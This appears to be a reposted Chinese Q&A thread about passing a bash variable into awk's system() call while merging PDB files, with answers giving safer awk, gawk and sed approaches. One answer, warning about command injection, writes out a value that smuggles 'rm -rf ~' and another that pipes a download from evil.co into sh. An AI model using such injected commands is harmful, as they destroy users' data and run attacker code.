下面的 bash 代碼結合了 awk 代碼,以特殊方式融合 file1 和 file2,檢測 file2 中的一些塊并將 file1 中的所有字串插入其中。
#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb
我不能在 awk 部分使用變數“file”的問題,它與 bash 中定義的 file1 有關
{system("cat file");}
否則,如果我在這里過去了 file1 的完整路徑,它運行良好
{system("cat /usr/data/temp/data1.pdb");}
我如何修復我的 awk 代碼以便能夠在那里直接使用 bash 變數?
uj5u.com熱心網友回復:
字面意思(但邪惡、不安全)的答案
要回答您的字面問題:
awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'
...將運行cat filename。
但是,如果有人通過insecure="filename; rm -rf ~"或者insecure='$(curl http://evil.co | sh)',你有一個非常糟糕的一天。
正確答案
在 awk 的命令列上傳遞檔案名,并檢查FNR您是在讀取第一個檔案還是后續檔案。
uj5u.com熱心網友回復:
使用 GNU awk 的readfile庫:
gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
/^ENDMDL$/ { printf "%s", file1_data } 1' ...
或者,您可以使用while ((getline < file1) > 1)回圈來獲取資料。
uj5u.com熱心網友回復:
這更容易 sed
$ sed '/^ENDMDL$/r file1' file2
在標記之后插入 file1。
用 file1 內容替換標記行
$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2
轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/407711.html
標籤:
下一篇:連接兩個都有重復行的檔案
